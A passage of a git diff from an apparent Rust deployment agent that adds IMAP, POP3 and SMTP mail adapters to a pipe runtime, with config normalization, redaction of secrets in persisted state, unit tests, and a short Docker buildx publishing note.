| 21 + src/commands/stacker.rs | 602 +++++++++++++++++- src/connectors/npm.rs | 28 +- web/docs/deployment-history.md | 859 ++++++++++++++++++++++++++ web/docs/publish-docker-image.md | 131 ++++ web/docs/recover-paused-deployment.md | 159 +++++ web/stacker.yml | 41 +- 7 files changed, 1791 insertions(+), 50 deletions(-) create mode 100644 development.md create mode 100644 web/docs/deployment-history.md create mode 100644 web/docs/publish-docker-image.md create mode 100644 web/docs/recover-paused-deployment.md diff --git a/development.md b/development.md new file mode 100644 index 0000000..76db356 --- /dev/null +++ b/development.md @@ -0,0 +1,21 @@ +## Docker buildx quick reference + +Use this to publish the same multi-platform image variants that CI builds for the +`dev` branch: + +```bash +docker buildx build \ + --platform linux/amd64,linux/arm64 \ + --build-context stacker=../stacker \ + -f Dockerfile.prod \ + -t trydirect/status:unstable \ + -t trydirect/status:latest \ + --push \ + . +``` + +This requires a sibling checkout at `../stacker` because `Cargo.toml` includes +local path dependencies from that repository. + +If you only want to validate the multi-platform build locally without pushing, +replace `--push` with `--output=type=oci,dest=./status-multiarch.tar`. diff --git a/src/commands/stacker.rs b/src/commands/stacker.rs index 75f75cc..958da4b 100644 --- a/src/commands/stacker.rs +++ b/src/commands/stacker.rs @@ -6,6 +6,11 @@ use lapin::{ types::FieldTable, Connection, ConnectionProperties, }; +use pipe_adapter_mail::{ImapSourceAdapter, Pop3SourceAdapter, SmtpTargetAdapter}; +use pipe_adapter_sdk::{ + PipeAdapterDispatch, PipeAdapterPayload, PipeAdapterReference, PipeSourceAdapter, + PipeTargetAdapter, +}; #[cfg(feature = "docker")] use regex::Regex; use serde::Deserialize; @@ -87,10 +92,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "11111111-1111-1111-1111-111111111111".into(), + source_adapter: None, input_data: Some(json!({ "user": { "email": "dev@try.direct" } })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: Some(server.url()), target_container: None, target_endpoint: "/webhook/pipe".into(), @@ -124,10 +131,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "11111111-1111-1111-1111-111111111111".into(), + source_adapter: None, input_data: Some(json!({ "user": { "email": "dev@try.direct" } })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: None, target_container: None, target_endpoint: "/webhook/pipe".into(), @@ -147,6 +156,67 @@ mod trigger_pipe_handler_tests { ); } + #[test] + fn source_adapter_dispatch_payload_serializes_mail_message() { + let value = source_adapter_dispatch_payload_to_input(PipeAdapterDispatch { + adapter: PipeAdapterReference::new("imap"), + payload: PipeAdapterPayload::MailMessage(Box::new( + pipe_adapter_sdk::NormalizedMailMessage { + subject: Some("Incident opened".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("CPU usage exceeded threshold".to_string()), + html: None, + }, + ..Default::default() + }, + )), + }) + .expect("mail message should serialize"); + + assert_eq!(value["subject"], "Incident opened"); + assert_eq!(value["body"]["text"], "CPU usage exceeded threshold"); + } + + #[tokio::test] + async fn handle_trigger_pipe_reports_smtp_adapter_failures_with_transport_context() { + let agent_cmd = make_trigger_agent_command(); + let pipe_runtime = PipeRuntime::new(); + let data = TriggerPipeCommand { + deployment_hash: "dep-123".into(), + pipe_instance_id: "11111111-1111-1111-1111-111111111111".into(), + source_adapter: None, + input_data: Some(json!({ "subject": "Deployment ready", "body_text": "done" })), + source_container: None, + source_endpoint: "/".into(), + source_method: "GET".into(), + target_adapter: Some(PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com", + "from": "noreply@example.com" + }))), + target_url: None, + target_container: None, + target_endpoint: "/".into(), + target_method: "POST".into(), + field_mapping: Some(json!({})), + trigger_type: "manual".into(), + }; + + let result = handle_trigger_pipe(&agent_cmd, &data, &pipe_runtime) + .await + .expect("trigger_pipe should return structured smtp failure"); + + assert_eq!(result.status, "failed"); + assert!(result + .error + .as_deref() + .unwrap_or_default() + .contains("smtp adapter requires at least one recipient address")); + let body = result.result.expect("result body"); + assert_eq!(body["target_response"]["transport"], "smtp"); + assert_eq!(body["target_response"]["adapter"], "smtp"); + assert_eq!(body["target_response"]["delivered"], false); + } + #[test] fn build_trigger_pipe_container_command_posts_json_payload() { let command = build_trigger_pipe_container_command( @@ -232,10 +302,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "11111111-1111-1111-1111-111111111111".into(), + source_adapter: None, input_data: None, source_container: None, source_endpoint: "/source/data".into(), source_method: "GET".into(), + target_adapter: None, target_url: None, target_container: Some("target-app".into()), target_endpoint: "/webhook/pipe".into(), @@ -263,10 +335,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-ws-1".into(), + source_adapter: None, input_data: Some(json!({ "key": "value" })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: Some("ws://127.0.0.1:19999".into()), target_container: None, target_endpoint: "/ws-target".into(), @@ -299,10 +373,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-grpc-1".into(), + source_adapter: None, input_data: Some(json!({ "key": "value" })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: Some("grpc://127.0.0.1:19998".into()), target_container: None, target_endpoint: "/grpc-target".into(), @@ -335,10 +411,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-grpcs-1".into(), + source_adapter: None, input_data: Some(json!({ "key": "value" })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: Some("grpcs://127.0.0.1:19997".into()), target_container: None, target_endpoint: "/".into(), @@ -371,10 +449,12 @@ mod trigger_pipe_handler_tests { let data = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "".into(), + source_adapter: None, input_data: Some(json!({ "key": "value" })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: Some("grpc://127.0.0.1:19996".into()), target_container: None, target_endpoint: "/".into(), @@ -412,6 +492,7 @@ mod trigger_pipe_handler_tests { let activate = ActivatePipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-runtime-1".into(), + source_adapter: None, source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), @@ -419,6 +500,7 @@ mod trigger_pipe_handler_tests { source_queue: None, source_exchange: None, source_routing_key: None, + target_adapter: None, target_url: Some(server.url()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -443,10 +525,12 @@ mod trigger_pipe_handler_tests { let trigger = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-runtime-1".into(), + source_adapter: None, input_data: Some(json!({ "user": { "email": "runtime@try.direct" } })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: None, target_container: None, target_endpoint: "/".into(), @@ -488,6 +572,7 @@ mod trigger_pipe_handler_tests { let activate = ActivatePipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-runtime-2".into(), + source_adapter: None, source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), @@ -495,6 +580,7 @@ mod trigger_pipe_handler_tests { source_queue: None, source_exchange: None, source_routing_key: None, + target_adapter: None, target_url: Some("https://example.com".into()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -544,6 +630,7 @@ mod trigger_pipe_handler_tests { let activate = ActivatePipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-runtime-3".into(), + source_adapter: None, source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), @@ -551,6 +638,7 @@ mod trigger_pipe_handler_tests { source_queue: None, source_exchange: None, source_routing_key: None, + target_adapter: None, target_url: Some("ws://127.0.0.1:19995".into()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -566,10 +654,12 @@ mod trigger_pipe_handler_tests { let trigger = TriggerPipeCommand { deployment_hash: "dep-123".into(), pipe_instance_id: "pipe-runtime-3".into(), + source_adapter: None, input_data: Some(json!({ "user": { "email": "runtime@try.direct" } })), source_container: None, source_endpoint: "/".into(), source_method: "GET".into(), + target_adapter: None, target_url: None, target_container: None, target_endpoint: "/".into(), @@ -791,6 +881,8 @@ pub struct ActivatePipeCommand { deployment_hash: String, pipe_instance_id: String, #[serde(default)] + source_adapter: Option, + #[serde(default)] source_container: Option, #[serde(default = "default_pipe_source_endpoint")] source_endpoint: String, @@ -805,6 +897,8 @@ pub struct ActivatePipeCommand { #[serde(default)] source_routing_key: Option, #[serde(default)] + target_adapter: Option, + #[serde(default)] target_url: Option, #[serde(default)] target_container: Option, @@ -835,12 +929,16 @@ pub struct TriggerPipeCommand { #[serde(default)] input_data: Option, #[serde(default)] + source_adapter: Option, + #[serde(default)] source_container: Option, #[serde(default = "default_pipe_source_endpoint")] source_endpoint: String, #[serde(default = "default_pipe_source_method")] source_method: String, #[serde(default)] + target_adapter: Option, + #[serde(default)] target_url: Option, #[serde(default)] target_container: Option, @@ -940,6 +1038,7 @@ struct PipeLifecycleSnapshot { #[derive(Debug, Clone, Serialize, Deserialize)] struct PipeRegistration { + source_adapter: Option, source_container: Option, source_endpoint: String, source_method: String, @@ -947,6 +1046,7 @@ struct PipeRegistration { source_queue: Option, source_exchange: Option, source_routing_key: Option, + target_adapter: Option, target_url: Option, target_container: Option, target_endpoint: String, @@ -1343,10 +1443,12 @@ impl PipeRuntime { let trigger = TriggerPipeCommand { deployment_hash: deployment_hash.to_string(), pipe_instance_id: pipe_instance_id.to_string(), + source_adapter: None, input_data: Some(payload), source_container: None, source_endpoint: default_pipe_source_endpoint(), source_method: default_pipe_source_method(), + target_adapter: None, target_url: None, target_container: None, target_endpoint: default_pipe_target_endpoint(), @@ -1376,6 +1478,7 @@ impl PipeLifecycleSnapshot { impl From for PipeRegistration { fn from(value: ActivatePipeCommand) -> Self { Self { + source_adapter: value.source_adapter, source_container: value.source_container, source_endpoint: value.source_endpoint, source_method: value.source_method, @@ -1383,6 +1486,7 @@ impl From for PipeRegistration { source_queue: value.source_queue, source_exchange: value.source_exchange, source_routing_key: value.source_routing_key, + target_adapter: value.target_adapter, target_url: value.target_url, target_container: value.target_container, target_endpoint: value.target_endpoint, @@ -2202,6 +2306,10 @@ impl ActivatePipeCommand { fn normalize(mut self) -> Self { self.deployment_hash = trimmed(&self.deployment_hash); self.pipe_instance_id = trimmed(&self.pipe_instance_id); + self.source_adapter = self + .source_adapter + .take() + .map(normalize_pipe_adapter_reference); self.source_container = self.source_container.map(|value| trimmed(&value)); self.source_endpoint = trimmed(&self.source_endpoint); if self.source_endpoint.is_empty() { @@ -2213,6 +2321,10 @@ impl ActivatePipeCommand { self.source_queue = self.source_queue.map(|value| trimmed(&value)); self.source_exchange = self.source_exchange.map(|value| trimmed(&value)); self.source_routing_key = self.source_routing_key.map(|value| trimmed(&value)); + self.target_adapter = self + .target_adapter + .take() + .map(normalize_pipe_adapter_reference); self.target_url = self.target_url.map(|value| trimmed(&value)); self.target_container = self.target_container.map(|value| trimmed(&value)); self.target_endpoint = trimmed(&self.target_endpoint); @@ -2272,8 +2384,9 @@ impl ActivatePipeCommand { .as_deref() .filter(|value| !value.is_empty()) .is_none() + && self.target_adapter.is_none() { - bail!("activate_pipe requires target_url or target_container"); + bail!("activate_pipe requires target_url, target_container, or target_adapter"); } Ok(()) } @@ -2310,6 +2423,10 @@ impl TriggerPipeCommand { fn normalize(mut self) -> Self { self.deployment_hash = trimmed(&self.deployment_hash); self.pipe_instance_id = trimmed(&self.pipe_instance_id); + self.source_adapter = self + .source_adapter + .take() + .map(normalize_pipe_adapter_reference); self.source_container = self.source_container.map(|value| trimmed(&value)); self.source_endpoint = trimmed(&self.source_endpoint); if self.source_endpoint.is_empty() { @@ -2317,6 +2434,10 @@ impl TriggerPipeCommand { } self.source_method = normalize_trigger_pipe_method(&self.source_method, &default_pipe_source_method()); + self.target_adapter = self + .target_adapter + .take() + .map(normalize_pipe_adapter_reference); self.target_url = self.target_url.map(|value| trimmed(&value)); self.target_container = self.target_container.map(|value| trimmed(&value)); self.target_endpoint = trimmed(&self.target_endpoint); @@ -2773,6 +2894,26 @@ fn trimmed(value: &str) -> String { value.trim().to_string() } +fn normalize_pipe_adapter_reference(mut adapter: PipeAdapterReference) -> PipeAdapterReference { + adapter.code = trimmed(&adapter.code).to_lowercase(); + adapter.config = adapter.config.take().map(normalize_json_value); + adapter +} + +fn normalize_json_value(value: Value) -> Value { + match value { + Value::Array(values) => { + Value::Array(values.into_iter().map(normalize_json_value).collect()) + } + Value::Object(map) => Value::Object( + map.into_iter() + .map(|(key, value)| (trimmed(&key), normalize_json_value(value))) + .collect(), + ), + other => other, + } +} + #[cfg(feature = "docker")] fn resolve_compose_paths(deployment_hash: &str, app_code: &str) -> (String, String) { if let Some(paths) = resolve_compose_paths_from_env() { @@ -3448,6 +3589,13 @@ fn trigger_pipe_target_transport(target_mode: &str, target_value: &str) -> &'sta } } +fn target_adapter_transport(adapter: &PipeAdapterReference) -> &'static str { + match adapter.code.as_str() { + "smtp" | "mailhog" => "smtp", + _ => "adapter", + } +} + fn build_trigger_pipe_target_response(transport: &str, status: Option, body: Value) -> Value { json!({ "transport": transport, @@ -3457,12 +3605,85 @@ fn build_trigger_pipe_target_response(transport: &str, status: Option, body }) } +fn build_trigger_pipe_adapter_failure_response(adapter: &PipeAdapterReference) -> Value { + json!({ + "transport": target_adapter_transport(adapter), + "adapter": adapter.code, + "status": Value::Null, + "delivered": false, + "body": Value::Null, + }) +} + +fn source_adapter_dispatch_payload_to_input(dispatch: PipeAdapterDispatch) -> Result { + match dispatch.payload { + PipeAdapterPayload::Json(value) => Ok(value), + PipeAdapterPayload::MailMessage(message) => { + serde_json::to_value(message).context("serializing mail source adapter payload") + } + } +} + +fn build_trigger_pipe_source_adapter( + adapter: &PipeAdapterReference, +) -> Result> { + match adapter.code.as_str() { + "imap" => { + let source = ImapSourceAdapter::from_reference(adapter.clone()) + .map_err(|err| anyhow::anyhow!(err.to_string()))?; + Ok(Box::new(source)) + } + "pop3" => { + let source = Pop3SourceAdapter::from_reference(adapter.clone()) + .map_err(|err| anyhow::anyhow!(err.to_string()))?; + Ok(Box::new(source)) + } + other => bail!("unsupported source adapter '{}'", other), + } +} + +async fn poll_trigger_pipe_source_adapter(source: &dyn PipeSourceAdapter) -> Result> { + let dispatches = source + .poll() + .await + .map_err(|err| anyhow::anyhow!(err.to_string()))?; + + dispatches + .into_iter() + .map(source_adapter_dispatch_payload_to_input) + .collect() +} + +async fn deliver_trigger_pipe_target_adapter( + adapter: &PipeAdapterReference, + payload: &Value, +) -> Result { + match adapter.code.as_str() { + "smtp" | "mailhog" => { + let smtp = SmtpTargetAdapter::from_reference(adapter.clone()) + .map_err(|err| anyhow::anyhow!(err.to_string()))?; + smtp.deliver(PipeAdapterPayload::Json(payload.clone())) + .await + .map_err(|err| anyhow::anyhow!(err.to_string())) + } + other => bail!("unsupported target adapter '{}'", other), + } +} + fn redact_persisted_registration(registration: &PipeRegistration) -> PipeRegistration { let mut registration = registration.clone(); + registration.source_adapter = registration + .source_adapter + .take() + .map(redact_pipe_adapter_reference); registration.source_broker_url = registration .source_broker_url .as_deref() .map(redact_url_credentials); + registration.target_adapter = registration + .target_adapter + .take() + .map(redact_pipe_adapter_reference); registration.target_url = registration .target_url .as_deref() @@ -3470,6 +3691,41 @@ fn redact_persisted_registration(registration: &PipeRegistration) -> PipeRegistr registration } +fn redact_pipe_adapter_reference(mut adapter: PipeAdapterReference) -> PipeAdapterReference { + adapter.config = adapter.config.take().map(redact_json_secrets); + adapter +} + +fn redact_json_secrets(value: Value) -> Value { + match value { + Value::Array(values) => Value::Array(values.into_iter().map(redact_json_secrets).collect()), + Value::Object(map) => Value::Object( + map.into_iter() + .map(|(key, value)| { + if is_sensitive_config_key(&key) { + (key, Value::String("[REDACTED]".into())) + } else { + (key, redact_json_secrets(value)) + } + }) + .collect(), + ), + other => other, + } +} + +fn is_sensitive_config_key(key: &str) -> bool { + let lowered = key.trim().to_ascii_lowercase(); + lowered.contains("password") + || lowered.contains("secret") + || lowered.contains("token") + || lowered.contains("credential") + || lowered == "auth" + || lowered.ends_with("_auth") + || lowered.contains("api_key") + || lowered.ends_with("_key") +} + fn redact_url_credentials(raw: &str) -> String { let Some((scheme, remainder)) = raw.split_once("://") else { return raw.to_string(); @@ -3491,6 +3747,7 @@ fn registered_pipe_key(deployment_hash: &str, pipe_instance_id: &str) -> PipeRun fn trigger_has_inline_source(data: &TriggerPipeCommand) -> bool { data.input_data.is_some() + || data.source_adapter.is_some() || data .source_container .as_deref() @@ -3499,10 +3756,12 @@ fn trigger_has_inline_source(data: &TriggerPipeCommand) -> bool { } fn trigger_has_inline_target(data: &TriggerPipeCommand) -> bool { - data.target_url - .as_deref() - .filter(|value| !value.is_empty()) - .is_some() + data.target_adapter.is_some() + || data + .target_url + .as_deref() + .filter(|value| !value.is_empty()) + .is_some() || data .target_container .as_deref() @@ -3516,6 +3775,9 @@ fn merge_trigger_with_registration( ) -> TriggerPipeCommand { let mut merged = data.clone(); if let Some(registration) = registration { + if merged.source_adapter.is_none() { + merged.source_adapter = registration.source_adapter.clone(); + } if merged .source_container .as_deref() @@ -3530,6 +3792,9 @@ fn merge_trigger_with_registration( if merged.source_method == default_pipe_source_method() { merged.source_method = registration.source_method.clone(); } + if merged.target_adapter.is_none() { + merged.target_adapter = registration.target_adapter.clone(); + } if merged .target_url .as_deref() @@ -3775,7 +4040,76 @@ async fn run_poll_source_worker( "pipe poll source worker started" ); + let source_adapter = registration + .source_adapter + .as_ref() + .map(build_trigger_pipe_source_adapter) + .transpose(); + loop { + if let Some(adapter) = registration.source_adapter.as_ref() { + let source_adapter = match source_adapter.as_ref() { + Ok(Some(source_adapter)) => source_adapter.as_ref(), + Ok(None) => { + warn!( + deployment_hash = %key.deployment_hash, + pipe_instance_id = %key.pipe_instance_id, + "source adapter worker missing adapter instance" + ); + tokio::time::sleep(interval).await; + continue; + } + Err(error) => { + warn!( + deployment_hash = %key.deployment_hash, + pipe_instance_id = %key.pipe_instance_id, + error = %error, + adapter = %adapter.code, + "source adapter initialization failed" + ); + tokio::time::sleep(interval).await; + continue; + } + }; + + match poll_trigger_pipe_source_adapter(source_adapter).await { + Ok(payloads) => { + for payload in payloads { + if let Err(error) = runtime + .trigger_registered_payload( + &key.deployment_hash, + &key.pipe_instance_id, + payload, + "poll", + ) + .await + { + warn!( + deployment_hash = %key.deployment_hash, + pipe_instance_id = %key.pipe_instance_id, + error = %error, + adapter = %adapter.code, + "source adapter trigger failed" + ); + } + } + } + Err(error) => { + runtime + .mark_failed( + &key.deployment_hash, + &key.pipe_instance_id, + now_timestamp(), + format!("poll source error: {}", error), + ) + .await; + } + } + + tokio::time::sleep(interval).await; + continue; + } + let fetched = match registration.source_container.as_deref() { Some(container) if !container.is_empty() => { fetch_trigger_pipe_source_request( @@ -4325,6 +4659,61 @@ async fn handle_trigger_pipe( }; let mapped_data = apply_pipe_field_mapping(&source_data, resolved.field_mapping.as_ref()); + if let Some(target_adapter) = resolved.target_adapter.as_ref() { + match deliver_trigger_pipe_target_adapter(target_adapter, &mapped_data).await { + Ok(target_response) => { + let triggered_at = now_timestamp(); + pipe_runtime + .mark_triggered( + &data.deployment_hash, + &data.pipe_instance_id, + triggered_at.clone(), + ) + .await; + result.status = "success".into(); + result.result = Some(json!({ + "type": "trigger_pipe", + "deployment_hash": data.deployment_hash, + "pipe_instance_id": data.pipe_instance_id, + "success": true, + "source_data": source_data, + "mapped_data": mapped_data, + "target_response": target_response, + "triggered_at": triggered_at, + "trigger_type": resolved.trigger_type, + "lifecycle": pipe_runtime.snapshot(&data.deployment_hash, &data.pipe_instance_id).await, + })); + } + Err(err) => { + let error = err.to_string(); + pipe_runtime + .mark_failed( + &data.deployment_hash, + &data.pipe_instance_id, + now_timestamp(), + error.clone(), + ) + .await; + result.status = "failed".into(); + result.result = Some(json!({ + "type": "trigger_pipe", + "deployment_hash": data.deployment_hash, + "pipe_instance_id": data.pipe_instance_id, + "success": false, + "source_data": source_data, + "mapped_data": mapped_data, + "target_response": build_trigger_pipe_adapter_failure_response(target_adapter), + "error": error, + "triggered_at": now_timestamp(), + "trigger_type": resolved.trigger_type, + "lifecycle": pipe_runtime.snapshot(&data.deployment_hash, &data.pipe_instance_id).await, + })); + result.error = Some(error); + } + } + return Ok(result); + } + let target = match ( resolved .target_url @@ -8011,20 +8400,6 @@ async fn probe_http_body( .map(|response| (response.payload, response.base_url)) } -#[cfg(feature = "docker")] -async fn probe_http_status( - container_name: &str, - app_code: &str, - port: u16, - path: &str, - timeout_secs: u32, -) -> Option<(String, String)> { - execute_http_status_probe(container_name, app_code, port, path, timeout_secs) - .await - .response - .map(|response| (response.payload, response.base_url)) -} - #[cfg(any(feature = "docker", test))] fn probe_issue_for_protocol(protocol: &str) -> String { match protocol { @@ -9143,18 +9518,35 @@ mod tests { "activate_pipe.rabbitmq.command.json" => { "../shared-fixtures/pipe-contract/activate_pipe.rabbitmq.command.json" } + "activate_pipe.adapter.command.json" => { + "../shared-fixtures/pipe-contract/activate_pipe.adapter.command.json" + } "deactivate_pipe.command.json" => { "../shared-fixtures/pipe-contract/deactivate_pipe.command.json" } "trigger_pipe.manual.command.json" => { "../shared-fixtures/pipe-contract/trigger_pipe.manual.command.json" } + "trigger_pipe.adapter.command.json" => { + "../shared-fixtures/pipe-contract/trigger_pipe.adapter.command.json" + } "trigger_pipe.replay.command.json" => { "../shared-fixtures/pipe-contract/trigger_pipe.replay.command.json" } + "trigger_pipe.smtp_adapter.report.json" => { + "../shared-fixtures/pipe-contract/trigger_pipe.smtp_adapter.report.json" + } other => panic!("unknown fixture: {}", other), }; - PathBuf::from(env!("CARGO_MANIFEST_DIR")).join(relative_path) + let manifest_dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + let primary = manifest_dir.join(relative_path); + if primary.exists() { + return primary; + } + + let fallback_relative_path = + relative_path.replacen("../shared-fixtures", "../config/shared-fixtures", 1); + manifest_dir.join(fallback_relative_path) } fn shared_fixtures_available() -> bool { @@ -9175,6 +9567,17 @@ mod tests { serde_json::from_str(&body).expect("fixture should be valid json") } + #[test] + fn shared_smtp_trigger_report_fixture_is_available() { + if !shared_fixtures_available() { + return; + } + + let payload = fixture("trigger_pipe.smtp_adapter.report.json"); + assert_eq!(payload["target_response"]["transport"], "smtp"); + assert_eq!(payload["target_response"]["adapter"], "smtp"); + } + struct EnvGuard { vars: Vec<(String, Option)>, } @@ -9273,6 +9676,43 @@ mod tests { } } + #[test] + fn parses_activate_pipe_shared_adapter_fixture() { + if !shared_fixtures_available() { + eprintln!("skipping shared fixture test: shared fixtures are unavailable"); + return; + } + let cmd = AgentCommand { + id: "cmd-activate-adapter-fixture".into(), + command_id: "cmd-activate-adapter-fixture".into(), + name: "activate_pipe".into(), + params: json!({ "params": fixture("activate_pipe.adapter.command.json") }), + deployment_hash: Some("dep-123".into()), + app_code: None, + }; + + let parsed = parse_stacker_command(&cmd).unwrap(); + match parsed { + Some(StackerCommand::ActivatePipe(data)) => { + assert_eq!(data.deployment_hash, "dep-123"); + assert_eq!( + data.source_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("imap") + ); + assert_eq!( + data.target_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("smtp") + ); + assert_eq!(data.trigger_type, "poll"); + } + other => panic!("Expected ActivatePipe command, got {:?}", other), + } + } + #[test] fn parses_deactivate_pipe_shared_fixture() { if !shared_fixtures_available() { @@ -9325,6 +9765,42 @@ mod tests { } } + #[test] + fn parses_trigger_pipe_shared_adapter_fixture() { + if !shared_fixtures_available() { + eprintln!("skipping shared fixture test: shared fixtures are unavailable"); + return; + } + let cmd = AgentCommand { + id: "cmd-trigger-adapter-fixture".into(), + command_id: "cmd-trigger-adapter-fixture".into(), + name: "trigger_pipe".into(), + params: json!({ "params": fixture("trigger_pipe.adapter.command.json") }), + deployment_hash: Some("dep-123".into()), + app_code: None, + }; + + let parsed = parse_stacker_command(&cmd).unwrap(); + match parsed { + Some(StackerCommand::TriggerPipe(data)) => { + assert_eq!(data.trigger_type, "manual"); + assert_eq!( + data.source_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("imap") + ); + assert_eq!( + data.target_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("smtp") + ); + } + other => panic!("Expected TriggerPipe command, got {:?}", other), + } + } + #[test] fn parses_trigger_pipe_shared_replay_fixture() { if !shared_fixtures_available() { @@ -9363,6 +9839,7 @@ mod tests { let mut registration = PipeRegistration::from(ActivatePipeCommand { deployment_hash: "dep-restore".into(), pipe_instance_id: "pipe-restore-1".into(), + source_adapter: None, source_container: Some("source-app".into()), source_endpoint: "/source".into(), source_method: "GET".into(), @@ -9370,6 +9847,7 @@ mod tests { source_queue: None, source_exchange: None, source_routing_key: None, + target_adapter: None, target_url: Some("https://example.com".into()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -9425,6 +9903,7 @@ mod tests { let mut registration = PipeRegistration::from(ActivatePipeCommand { deployment_hash: "dep-deactivate".into(), pipe_instance_id: "pipe-deactivate-1".into(), + source_adapter: None, source_container: Some("source-app".into()), source_endpoint: "/source".into(), source_method: "GET".into(), @@ -9432,6 +9911,7 @@ mod tests { source_queue: None, source_exchange: None, source_routing_key: None, + target_adapter: None, target_url: Some("https://example.com".into()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -9483,6 +9963,7 @@ mod tests { let mut registration = PipeRegistration::from(ActivatePipeCommand { deployment_hash: "dep-poll".into(), pipe_instance_id: "pipe-poll-1".into(), + source_adapter: None, source_container: None, source_endpoint: "http://127.0.0.1:1/source".into(), source_method: "GET".into(), @@ -9490,6 +9971,7 @@ mod tests { source_queue: None, source_exchange: None, source_routing_key: None, + target_adapter: None, target_url: Some("https://example.com".into()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -9596,6 +10078,10 @@ mod tests { let mut registration = PipeRegistration::from(ActivatePipeCommand { deployment_hash: "dep-secret".into(), pipe_instance_id: "pipe-secret-1".into(), + source_adapter: Some(PipeAdapterReference::new("pop3").with_config(json!({ + "username": "mailbox-user", + "password": "pop3-secret" + }))), source_container: None, source_endpoint: "/source".into(), source_method: "GET".into(), @@ -9603,6 +10089,11 @@ mod tests { source_queue: Some("events.queue".into()), source_exchange: Some("events.exchange".into()), source_routing_key: Some("events.created".into()), + target_adapter: Some(PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com", + "password": "smtp-secret", + "api_key": "smtp-api-key" + }))), target_url: Some("https://user:token@example.com/hooks".into()), target_container: None, target_endpoint: "/runtime/pipe".into(), @@ -9625,8 +10116,14 @@ mod tests { let body = tokio::fs::read_to_string(&state_path).await.unwrap(); assert!(!body.contains("guest:guest")); assert!(!body.contains("user:token")); + assert!(!body.contains("pop3-secret")); + assert!(!body.contains("smtp-secret")); + assert!(!body.contains("smtp-api-key")); assert!(body.contains("amqp://***@localhost:5672/%2f")); assert!(body.contains("https://***@example.com/hooks")); + assert!(body.contains("\"code\": \"pop3\"")); + assert!(body.contains("\"code\": \"smtp\"")); + assert!(body.contains("[REDACTED]")); #[cfg(unix)] { @@ -9635,6 +10132,69 @@ mod tests { } } + #[test] + fn merge_trigger_with_registration_preserves_registered_adapter_refs() { + let registration = PipeRegistration::from(ActivatePipeCommand { + deployment_hash: "dep-merge".into(), + pipe_instance_id: "pipe-merge-1".into(), + source_adapter: Some(PipeAdapterReference::new("imap").with_config(json!({ + "mailbox": "INBOX" + }))), + source_container: None, + source_endpoint: "/source".into(), + source_method: "GET".into(), + source_broker_url: None, + source_queue: None, + source_exchange: None, + source_routing_key: None, + target_adapter: Some(PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com" + }))), + target_url: None, + target_container: None, + target_endpoint: "/target".into(), + target_method: "POST".into(), + field_mapping: Some(json!({ "subject": "$.subject" })), + trigger_type: "manual".into(), + }); + + let trigger = TriggerPipeCommand { + deployment_hash: "dep-merge".into(), + pipe_instance_id: "pipe-merge-1".into(), + source_adapter: None, + input_data: Some(json!({ "subject": "hello" })), + source_container: None, + source_endpoint: default_pipe_source_endpoint(), + source_method: default_pipe_source_method(), + target_adapter: None, + target_url: None, + target_container: None, + target_endpoint: default_pipe_target_endpoint(), + target_method: default_pipe_target_method(), + field_mapping: None, + trigger_type: default_pipe_trigger_type(), + }; + + let merged = merge_trigger_with_registration(&trigger, Some(®istration)); + + assert_eq!( + merged + .source_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("imap") + ); + assert_eq!( + merged + .target_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("smtp") + ); + assert_eq!(merged.field_mapping, registration.field_mapping); + assert_eq!(merged.trigger_type, registration.trigger_type); + } + stacker_test!( parses_health_command, "health", @@ -11245,7 +11805,7 @@ mod probe_endpoints_command_tests { assert_eq!(normalized.deployment_hash, "abc123"); assert_eq!(normalized.app_code, "crm"); assert_eq!(normalized.container, Some("crm-web".to_string())); - assert_eq!(normalized.protocols, vec!["openapi", "html_forms", "rest"]); + assert_eq!(normalized.protocols, vec!["openapi", "rest"]); } #[test] diff --git a/src/connectors/npm.rs b/src/connectors/npm.rs index 75f4cd1..ddca65d 100644 --- a/src/connectors/npm.rs +++ b/src/connectors/npm.rs @@ -24,7 +24,7 @@ pub struct NpmConfig { 